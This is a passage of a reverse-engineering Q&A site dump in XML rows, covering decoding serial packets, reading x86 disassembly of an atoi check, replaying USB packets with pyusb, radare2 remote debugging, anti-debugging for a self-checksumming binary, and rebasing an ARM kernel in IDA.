01 00 11 82 32 00 A3 00 9A 06 B8 06   ªU.....‚2.£.š.¸.&#xA; B2 00 03 00 03 00 04 09 39 13 90 00 51 00 00 00   ².......9..Q...&#xA; 00 01 C9 00 00 00 48 00 01 00 00 00 00 FF FF 00   ..É...H......ÿÿ.&#xA; 00 00 00 00 00 00 00 00 00 00 00 08 CA            ............Ê&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see the exact same things on start until &lt;code&gt;,2&amp;lt;ascii&amp;gt;&lt;/code&gt;, after that it seems to contain the data. The last packet dump should be the one resembling the data on the monitor at the time of receiving and as I mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried converted each HEX into integer, and maybe just finding similar numbers, like the easiest would be hours, &lt;code&gt;72&lt;/code&gt; since that only changes every hour. But my futile attempts got me nowhere. Nothing close to 72.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I doubt the data is obfuscated, or encrypted. I just don't know how else I can try and work this out and seek some advice from experienced developers in this sort of field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All packets end the same with &lt;code&gt;FF FF 00 ..&lt;/code&gt; and the last hex is different each time, I suspect a CRC value for checking. There may be other values mixed in between all these but I am only interested in the main ones I can see on the monitor.&lt;/p&gt;&#xA;" OwnerUserId="2600" LastEditorUserId="2600" LastEditDate="2015-11-03T16:25:40.277" LastActivityDate="2015-11-03T16:46:17.843" Title="Decoding serial data" Tags="|serial-communication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11242" PostTypeId="2" ParentId="11241" CreationDate="2015-11-03T16:20:03.500" Score="8" Body="&lt;p&gt;You know that 72 will be in the data each time. Lets convert that to hex which is &lt;code&gt;48&lt;/code&gt;. We can see that clearly in each packet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's preceded by 3 &lt;code&gt;0&lt;/code&gt; bytes presumable because it's written out as a 32 bit int (for some reason).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;preceding that we can see a &lt;code&gt;00 00 01 c9&lt;/code&gt; lets convert that in its entirety to decimal: That turns out to be &lt;code&gt;457&lt;/code&gt; 10 times more than what another value you are looking for is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next set is &lt;code&gt;00 51 00 00&lt;/code&gt;, maybe there is a 2 byte &lt;code&gt;0&lt;/code&gt; in between this value and the next one them so lets focus on the &lt;code&gt;51&lt;/code&gt;, converted to decimal that is &lt;code&gt;81&lt;/code&gt;. Another value you are looking for!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last value you are looking for is &lt;code&gt;236.1&lt;/code&gt; however after seeing the energy total maybe the value was scaled first by &lt;code&gt;10&lt;/code&gt; so lets check 2361 in hex, that is &lt;code&gt;0939&lt;/code&gt;. Lo and behold that's in the last packet:&#xA;&lt;code&gt;&lt;pre&gt;AA 55 00 01 01 00 11 82 32 00 A3 00 9A 06 B8 06&#xA;B2 00 03 00 03 00 04 &lt;strong&gt;&lt;em&gt;09 39&lt;/em&gt;&lt;/strong&gt; 13 90 00 &lt;strong&gt;&lt;em&gt;51&lt;/em&gt;&lt;/strong&gt; 00 00 00&#xA;00 &lt;strong&gt;&lt;em&gt;01 C9&lt;/em&gt;&lt;/strong&gt; 00 00 00 &lt;strong&gt;&lt;em&gt;48&lt;/em&gt;&lt;/strong&gt; 00 01 00 00 00 00 FF FF 00&#xA;00 00 00 00 00 00 00 00 00 00 00 08 CA&lt;/code&gt;&lt;/pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that the highest value a single hex digit (0-f) can contain is 15, put 2 of them together and you can go up to 255. Double the amount of bits again and you are at 65535. Also handy to remember is that engineers are cheap and won't put in floating point arithmetic when they can just use fixed point instead. The trick is to find the scaling factor they used.&lt;/p&gt;&#xA;" OwnerUserId="14025" LastEditorUserId="14025" LastEditDate="2015-11-03T16:46:17.843" LastActivityDate="2015-11-03T16:46:17.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11245" PostTypeId="1" CreationDate="2015-11-04T13:43:04.417" Score="1" ViewCount="55" Body="&lt;p&gt;is there a function in IDA Pro to monitor all function calls of an application?&#xA;So for example if I import an application into IDA it gives me functions like &quot;sub_45E5C6&quot;, right?&#xA;And now my question is if IDA can log function calls while the application is running (maybe with the debugger?). So I can minimize the window and see which was the last executed funtion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great!&lt;/p&gt;&#xA;" OwnerUserId="14041" LastActivityDate="2015-11-04T13:43:04.417" Title="IDA Pro monitor applications function calls" Tags="|ida|functions|" AnswerCount="0" CommentCount="2" ClosedDate="2015-11-04T22:29:28.677" ContentLicense="CC BY-SA 3.0" />
  <row Id="11246" PostTypeId="1" AcceptedAnswerId="11249" CreationDate="2015-11-05T02:35:49.167" Score="0" ViewCount="3476" Body="&lt;p&gt;I'm using IDA to disassemble a file, and one of the sections contained this. What is this doing? What would it look like in C?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it pushes edx onto the stack, and converts it to an integer using _atoi, but what is left in eax after that, and why is it comparing it to 5? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     ecx, [ebp+argv]&#xA;mov     edx, [ecx+4]&#xA;push    edx             ; char *&#xA;call    _atoi&#xA;add     esp, 4&#xA;mov     [ebp+var_60], eax&#xA;cmp     [ebp+var_60], 5&#xA;jle     short loc_401167&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: Got a great answer, also another good answer here. &lt;a href=&quot;https://stackoverflow.com/questions/33535720/what-does-this-code-do-and-what-does-it-look-like-in-c/33535891#33535891&quot;&gt;https://stackoverflow.com/questions/33535720/what-does-this-code-do-and-what-does-it-look-like-in-c/33535891#33535891&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14047" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-11-05T08:28:10.717" Title="What does this code do, and what does it look like in C?" Tags="|ida|x86|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11247" PostTypeId="2" ParentId="11246" CreationDate="2015-11-05T03:32:04.140" Score="2" Body="&lt;p&gt;The part before the call to &lt;code&gt;atoi&lt;/code&gt; gets the content of &lt;code&gt;argv[1]&lt;/code&gt; on the stack:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;mov ecx, [ebp+argv]&lt;/code&gt; gets &lt;code&gt;argv&lt;/code&gt; into &lt;code&gt;ecx&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;mov edx, [ecx+4]&lt;/code&gt; gets &lt;code&gt;argv[1]&lt;/code&gt; into &lt;code&gt;edx&lt;/code&gt; - note &lt;code&gt;argv&lt;/code&gt; is an array of pointers, each 4 bytes in size, so &lt;code&gt;[ecx+4]&lt;/code&gt; is the &quot;first&quot; (counting from 0) element&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;push edx&lt;/code&gt; puts it on the stack as the argument to &lt;code&gt;atoi&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;C functions return their result in &lt;code&gt;eax&lt;/code&gt;*, so the &lt;code&gt;mov [ebp+var_60], eax&lt;/code&gt; instruction saves the result of &lt;code&gt;atoi(argv[1])&lt;/code&gt; to a local variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can't know why that result is compared to &lt;code&gt;5&lt;/code&gt;, this is part of the application logic. If that application was a crackme, and part of the challenge is &quot;find out which number to give as a command line argument to make the program do something special&quot;, then &lt;code&gt;5&lt;/code&gt; would be a good candidate for that special number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) in most cases, unless they don't fit there, for example in the case of doubles or structs.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-11-05T04:55:59.447" LastActivityDate="2015-11-05T04:55:59.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11248" PostTypeId="1" AcceptedAnswerId="11250" CreationDate="2015-11-05T08:10:18.750" Score="1" ViewCount="557" Body="&lt;p&gt;Working on my Logitech G105 keyboard, to hopefully implement a userspace driver to activate some of its specialized features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've captured the usb traffic it outputs when using a windows vm with the official logitech drivers, output of starting the software and setting the m1 led active are in this &lt;a href=&quot;https://gist.github.com/ntzrmtthihu777/7e23d229056a7e88b878&quot; rel=&quot;nofollow&quot;&gt;gist&lt;/a&gt; (usbmon-boot and usbmon-m1 respectively).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replaying the packets with in python with&#xA;&lt;code&gt;dev.ctrl_transfer(0x21, 0x09, 0x0200, 0x0000, 0x0001)&#xA;&lt;/code&gt;&#xA;and so on results in almost the exact results, however, the data words after = in usbmon are all 00, and the led on the keyboard does not activate.&lt;/p&gt;&#xA;" OwnerUserId="13356" LastActivityDate="2015-11-05T09:27:28.607" Title="Replaying packets with pyusb does not have the expected output" Tags="|usb|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11249" PostTypeId="2" ParentId="11246" CreationDate="2015-11-05T08:10:37.113" Score="3" Body="&lt;p&gt;seems to be unoptimized compilation anyway if you were using ollydbg and compiled this code with debug information ollydbg will show the source code in the next column&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source used &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;int main (int argc , char* argv[]) {&#xA;  if(argc!=2){return -1;}&#xA;  signed int foo =0;&#xA;  if((foo = atoi(argv[1])) &amp;gt; 5) {goto blah;}&#xA;  printf(&quot;notok&quot;);return 0;&#xA;  blah:&#xA;  printf(&quot;ok&quot;);return 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled with no optimisations    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cl /Zi /EHsc /nologo /W4 /analyze *.cpp /link /RELEASE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00401000 a&amp;gt;PUSH    EBP                         ; {&#xA;00401001   MOV     EBP, ESP&#xA;00401003   PUSH    ECX&#xA;00401004   CMP     DWORD PTR SS:[EBP+8], 2     ; if(argc!=2){return -1;}&#xA;00401008   JE      SHORT atoitest.0040100F&#xA;0040100A   OR      EAX, FFFFFFFF&#xA;0040100D   JMP     SHORT atoitest.00401055&#xA;0040100F   MOV     DWORD PTR SS:[EBP-4], 0     ; signed int foo =0;&#xA;00401016   MOV     EAX, DWORD PTR SS:[EBP+C]   ; if((foo = atoi(argv[1])) &amp;gt; 5) {goto blah;}&#xA;00401019   MOV     ECX, DWORD PTR DS:[EAX+4]&#xA;0040101C   PUSH    ECX&#xA;0040101D   CALL    atoitest.atoi&#xA;00401022   ADD     ESP, 4&#xA;00401025   MOV     DWORD PTR SS:[EBP-4], EAX&#xA;00401028   CMP     DWORD PTR SS:[EBP-4], 5&#xA;0040102C   JLE     SHORT atoitest.00401032&#xA;0040102E   JMP     SHORT atoitest.00401043&#xA;00401030   JMP     SHORT atoitest.00401043&#xA;00401032   PUSH    atoitest.0041218C           ; printf(&quot;notok&quot;);return 0;&#xA;00401037   CALL    atoitest.printf&#xA;0040103C   ADD     ESP, 4&#xA;0040103F   XOR     EAX, EAX&#xA;00401041   JMP     SHORT atoitest.00401055&#xA;00401043   PUSH    atoitest.00412194           ; printf(&quot;ok&quot;);return 1;&#xA;00401048   CALL    atoitest.printf&#xA;0040104D   ADD     ESP, 4&#xA;00401050   MOV     EAX, 1&#xA;00401055   MOV     ESP, EBP                    ; }&#xA;00401057   POP     EBP&#xA;00401058   RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the same src code compiled with msvc /O1 does away all saves    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cl /Zi /O1 /EHsc /nologo /W4 /analyze *.cpp /link /RELEASE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00401000 a&amp;gt;CMP     DWORD PTR SS:[ESP+4], 2     ; {&#xA;00401005   JE      SHORT atoitest.0040100B&#xA;00401007   OR      EAX, FFFFFFFF&#xA;0040100A   RETN                                ; }&#xA;0040100B   MOV     EAX, DWORD PTR SS:[ESP+8]   ; if((foo = atoi(argv[1])) &amp;gt; 5) {goto blah;}&#xA;0040100F   PUSH    DWORD PTR DS:[EAX+4]&#xA;00401012   CALL    atoitest.atoi&#xA;00401017   POP     ECX&#xA;00401018   CMP     EAX, 5&#xA;0040101B   JLE     SHORT atoitest.0040102C&#xA;0040101D   PUSH    atoitest.00412194           ; printf(&quot;ok&quot;);return 1;&#xA;00401022   CALL    atoitest.printf&#xA;00401027   XOR     EAX, EAX&#xA;00401029   INC     EAX&#xA;0040102A   POP     ECX&#xA;0040102B   RETN                                ; }&#xA;0040102C   PUSH    atoitest.0041218C           ; printf(&quot;notok&quot;);return 0;&#xA;00401031   CALL    atoitest.printf&#xA;00401036   XOR     EAX, EAX&#xA;00401038   POP     ECX&#xA;00401039   RETN                                ; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;same code with single exit and no gotos  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;int main (int argc , char* argv[]) {&#xA;  if(argc==2)  {&#xA;    int foo =0;&#xA;    if((foo = atoi(argv[1])) &amp;gt; 5) {&#xA;      printf(&quot;ok&quot;);&#xA;    } else {&#xA;      printf(&quot;notok&quot;);&#xA;    }&#xA;  }&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;unoptimesed compilation &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00401000 a&amp;gt;PUSH    EBP                         ; int main (int argc , char* argv[]) {&#xA;00401001   MOV     EBP, ESP&#xA;00401003   PUSH    ECX&#xA;00401004   CMP     DWORD PTR SS:[EBP+8], 2     ; if(argc==2)  {&#xA;00401008   JNZ     SHORT atoitest.00401045&#xA;0040100A   MOV     DWORD PTR SS:[EBP-4], 0     ; int foo =0;&#xA;00401011   MOV     EAX, DWORD PTR SS:[EBP+C]   ; if((foo = atoi(argv[1])) &amp;gt; 5) {&#xA;00401014   MOV     ECX, DWORD PTR DS:[EAX+4]&#xA;00401017   PUSH    ECX&#xA;00401018   CALL    atoitest.atoi&#xA;0040101D   ADD     ESP, 4&#xA;00401020   MOV     DWORD PTR SS:[EBP-4], EAX&#xA;00401023   CMP     DWORD PTR SS:[EBP-4], 5&#xA;00401027   JLE     SHORT atoitest.00401038&#xA;00401029   PUSH    atoitest.0041218C           ; printf(&quot;ok&quot;);&#xA;0040102E   CALL    atoitest.printf&#xA;00401033   ADD     ESP, 4&#xA;00401036   JMP     SHORT atoitest.00401045     ; } else {&#xA;00401038   PUSH    atoitest.00412190           ; printf(&quot;notok&quot;);&#xA;0040103D   CALL    atoitest.printf&#xA;00401042   ADD     ESP, 4&#xA;00401045   XOR     EAX, EAX                    ; return 0;&#xA;00401047   MOV     ESP, EBP                    ; }&#xA;00401049   POP     EBP&#xA;0040104A   RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;optimised compilation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00401000 a&amp;gt;CMP     DWORD PTR SS:[ESP+4], 2     ; int main (int argc , char* argv[]) {&#xA;00401005   JNZ     SHORT atoitest.0040102B&#xA;00401007   MOV     EAX, DWORD PTR SS:[ESP+8]   ; if((foo = atoi(argv[1])) &amp;gt; 5) {&#xA;0040100B   PUSH    DWORD PTR DS:[EAX+4]&#xA;0040100E   CALL    atoitest.atoi&#xA;00401013   POP     ECX&#xA;00401014   CMP     EAX, 5&#xA;00401017   JLE     SHORT atoitest.00401020&#xA;00401019   PUSH    atoitest.00412194           ; printf(&quot;ok&quot;);&#xA;0040101E   JMP     SHORT atoitest.00401025     ; } else {&#xA;00401020   PUSH    atoitest.0041218C           ; printf(&quot;notok&quot;);&#xA;00401025   CALL    atoitest.printf&#xA;0040102A   POP     ECX&#xA;0040102B   XOR     EAX, EAX                    ; return 0;&#xA;0040102D   RETN                                ; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-11-05T08:28:10.717" LastActivityDate="2015-11-05T08:28:10.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11250" PostTypeId="2" ParentId="11248" CreationDate="2015-11-05T09:27:28.607" Score="0" Body="&lt;p&gt;Ah, figured out my problem. I was doing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dev.ctrl_transfer(0x21, 0x09, 0x0306, 0x0001, 0x0002)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in response to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ffff8800822bbcc0 1231215925 S Co:7:009:0 s 21 09 0306 0001 0002 2 = 0601&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but what I should have done is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dev.ctrl_transfer(0x21, 0x09, 0x0306, [0x06, 0x01])&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issue is resolved :D&lt;/p&gt;&#xA;" OwnerUserId="13356" LastActivityDate="2015-11-05T09:27:28.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11251" PostTypeId="1" AcceptedAnswerId="11254" CreationDate="2015-11-05T11:00:34.703" Score="1" ViewCount="3120" Body="&lt;p&gt;i am reading differents documentation about radare2 but i don't read nothing about how can i debug a binary in remote machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually i am a security research and i need execute binaries in other laboratory virtual machine (winxp).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all.&lt;/p&gt;&#xA;" OwnerUserId="13967" LastActivityDate="2015-11-05T15:59:52.270" Title="How to debug with remote binaries radare2?" Tags="|radare2|remote|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11252" PostTypeId="1" AcceptedAnswerId="11264" CreationDate="2015-11-05T15:19:12.230" Score="0" ViewCount="343" Body="&lt;p&gt;(Alert: I'm new with all this)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find out what the following (dis)assembly does: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EAX,DWORD PTR SS:[EBP-54]     ; PTR to ASCII &quot;\xDA\x9Fb&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I seem to understand that the value at address [EBP-54] is copied to EAX. And that OllyDbg figured out that value to be an ascii string containing &quot;\xDA\x9Fb&quot;. Is that right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone maybe explain to me what this Ascii string is supposed to represent, and how it fits in this code example? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: Since the information above seems not sufficient to give an answer, I'll try to add some instructions that might (or might not) shed some light. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shortly after the instruction above, there are multiple CMPs that each look like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CMP DWORD PTR DS:[EAX+(different hex)],0&#xA;JE SHORT (position a few lines below)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This CMP exits with true which is not the desired condition. The left side should have another value than 0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not figure out what the &lt;em&gt;the string&lt;/em&gt; means but it is being used as one of multiple arguments in many internal (private) functions of the disassembly while the other arguments would contain column names of a database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am planning to do a lot more digging but I was just curious if this seemed familiar to anybody. &lt;/p&gt;&#xA;" OwnerUserId="13872" LastEditorUserId="13872" LastEditDate="2015-11-05T16:16:25.600" LastActivityDate="2015-11-06T21:13:02.843" Title="\xDA\x9Fb - what's that?" Tags="|disassembly|ollydbg|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11253" PostTypeId="2" ParentId="11252" CreationDate="2015-11-05T15:21:18.293" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can someone maybe explain to me what this Ascii string is supposed to&#xA;  represent, and how it fits in this code example?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With just that one line of code for context, no, nobody can explain to you what that ASCII string is supposed to represent, nor how it fits into that code example.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-11-05T15:21:18.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11254" PostTypeId="2" ParentId="11251" CreationDate="2015-11-05T15:59:52.270" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://radare.today/posts/using-radare2/&quot; rel=&quot;nofollow&quot;&gt;This blogpost&lt;/a&gt; will probably answer your question. Search for windbg, if you're only interested in this part. Maybe using the r2 debugger on the target works with rap://.&lt;/p&gt;&#xA;" OwnerUserId="14055" LastActivityDate="2015-11-05T15:59:52.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11255" PostTypeId="1" CreationDate="2015-11-06T07:58:28.387" Score="2" ViewCount="569" Body="&lt;p&gt;I have linux binary, written in C. During runtime I calculate the checksum of the binary, and it seems that this prevents setting up gdb software breakpoints in it. How safe is this from a reverse engineering perspective? Is there a way to step through on the assembly of this binary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code calculates checksum for a part of itself. I have tried setting up breakpoints in gdb, and the checksum failed.&lt;/p&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="13970" LastEditDate="2015-11-06T08:45:08.607" LastActivityDate="2015-11-06T09:13:07.253" Title="Reverse engineering self-checking binary" Tags="|gdb|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11256" PostTypeId="2" ParentId="11255" CreationDate="2015-11-06T09:07:06.817" Score="0" Body="&lt;p&gt;Any self-protection in your binary can be detected and removed, it's only a matter of how hard and annoying you want it to be for the reverser. It's impossible by design to avoid someone from bypassing your check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are numerous resources about all the existing anti-debug techniques, but it's an endless arms race, just identify who you want to protect your binary from, and set the difficulty accordingly.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2015-11-06T09:07:06.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11257" PostTypeId="2" ParentId="11255" CreationDate="2015-11-06T09:13:07.253" Score="2" Body="&lt;p&gt;There's lots of ways your specific scheme can be broken - as perror says in his comments, setting hardware breakpoints will be unnoticed. The hardware breakpoints will &lt;em&gt;also&lt;/em&gt; allow a reverser to check which part of your code reads the memory, pointing the attacker to the checksum algorithm. So, checksumming the process memory won't delay an experienced reverser by any significant amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want some modest protection, you should at least do some &lt;code&gt;ptrace&lt;/code&gt; tricks to check if you're being debugged, as perror says in his comment. To get some better protection, set up &lt;code&gt;ptrace&lt;/code&gt; in your main process, fork a child process, have the child throw exceptions in various places, catch these exceptions in the main process, have the main process do some of the work and patch the result back into the child's address space, and resume the child. Also, spawn something that will try to &lt;code&gt;ptrace&lt;/code&gt; the parent process, which will fail if the parent is being run under the control of a debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will at least prevent attackers &lt;strong&gt;who have nothing than gdb in their toolbox&lt;/strong&gt;  to fail. It will not help, for example, against anyone who compiles their own linux kernel and adds a sufficient amount of &lt;code&gt;printk&lt;/code&gt; debugging output to the &lt;code&gt;ptrace&lt;/code&gt; system call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really, there are companies who specialize in protecting software, and even they fail if the target is worthy enough / the attacker is determined enough. There are attacks on FlexLM, there are attacks on Themida (just google for Themida cracking tutorial), and not even Microsoft is able to prevent cracked versions of windows from floating around in the internet. As i said in my comment, anything you could invent yourself won't prevent a determined reverser from cracking your software, unless you're a very experienced reverser yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I consider myself moderately experienced, not an expert by far, and i know that i couldn't devise anything that would stop anyone who has my experience for more than a few days at most. There are some members of this forum who could rip anything i'd invent into shreds within a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So honestly, if your software is worth protecting at all, get something commercial like flexlm. Any effort you spend on it yourself is wasted time.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-11-06T09:13:07.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11258" PostTypeId="1" CreationDate="2015-11-06T15:02:11.857" Score="0" ViewCount="97" Body="&lt;p&gt;I'm reverse engineering a piece of code that has hundreds of calls to a couple of functions I'm not exactly sure what they are doing but looks like standard library functions that do some byte reading?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are as I currently call them &lt;code&gt;read8&lt;/code&gt; and &lt;code&gt;read16&lt;/code&gt; and show in IDA Pro as pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl read8(int a1)&#xA;{&#xA;  return *(_DWORD *)(a1 + 8);&#xA;}&#xA;&#xA;int __cdecl read16(int a1)&#xA;{&#xA;  return *(_DWORD *)(a1 + 16);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So given a pointer &lt;code&gt;a1&lt;/code&gt; do they read a single &lt;code&gt;DWORD&lt;/code&gt; positioned as the 8th and 16th DWORD after the initial address of &lt;code&gt;a1&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="9894" LastActivityDate="2015-11-06T15:09:07.497" Title="Understand what it looks like standard lib functions not properly identified by IDA Pro" Tags="|ida|disassembly|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11259" PostTypeId="2" ParentId="11258" CreationDate="2015-11-06T15:09:07.497" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So given a pointer &lt;code&gt;a1&lt;/code&gt; do they read a single &lt;code&gt;DWORD&lt;/code&gt; positioned as the&#xA;  8th and 16th DWORD after the initial address of &lt;code&gt;a1&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, they read a single &lt;code&gt;DWORD&lt;/code&gt; positioned 8-bytes and 16-bytes (respectively) after the initial address of &lt;code&gt;a1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In C, this might look as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _S&#xA;{&#xA;    DWORD a;&#xA;    DWORD b;&#xA;    DWORD c;&#xA;    DWORD d;&#xA;    DWORD e;&#xA;} S;&#xA;&#xA;S x;&#xA;DWORD c = read8(&amp;amp;x);&#xA;DWORD e = read16(&amp;amp;x);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-11-06T15:09:07.497" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11260" PostTypeId="1" AcceptedAnswerId="11266" CreationDate="2015-11-06T16:48:44.770" Score="1" ViewCount="1389" Body="&lt;p&gt;I just loaded up an ARM kernel image into IDA. When I boot up the ARM kernel and inspect the kernel symbols, I can see the following :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/ $ cat /proc/kallsyms | head -n 10&#xA;00000000 t __vectors_start&#xA;80008240 T asm_do_IRQ&#xA;80008240 T _stext&#xA;80008240 T __exception_text_start&#xA;80008244 T do_undefinstr&#xA;80008408 T do_IPI&#xA;8000840c T do_DataAbort&#xA;800084a8 T do_PrefetchAbort&#xA;80008544 t gic_handle_irq&#xA;800085a0 T secondary_startup&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I load the kernel image into IDA, I am presented with functions with a memory segment that is loaded at 0x8000. As the kernel symbols are not present in the ARM kernel, this is making analysis hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I map the addresses I see in the ARM image(I'm running it in Qemu, and could debug the kernel using gdb-multiarch) with the addresses I see in IDA? I'm guessing rebasing the &lt;code&gt;.text&lt;/code&gt; section in IDA would be the way to go. If so, how could I go about finding the address to which I would have to rebase the segment?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-11-07T09:49:26.180" Title="Memory segment in IDA - ARM kernel" Tags="|linux|kernel-mode|segmentation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
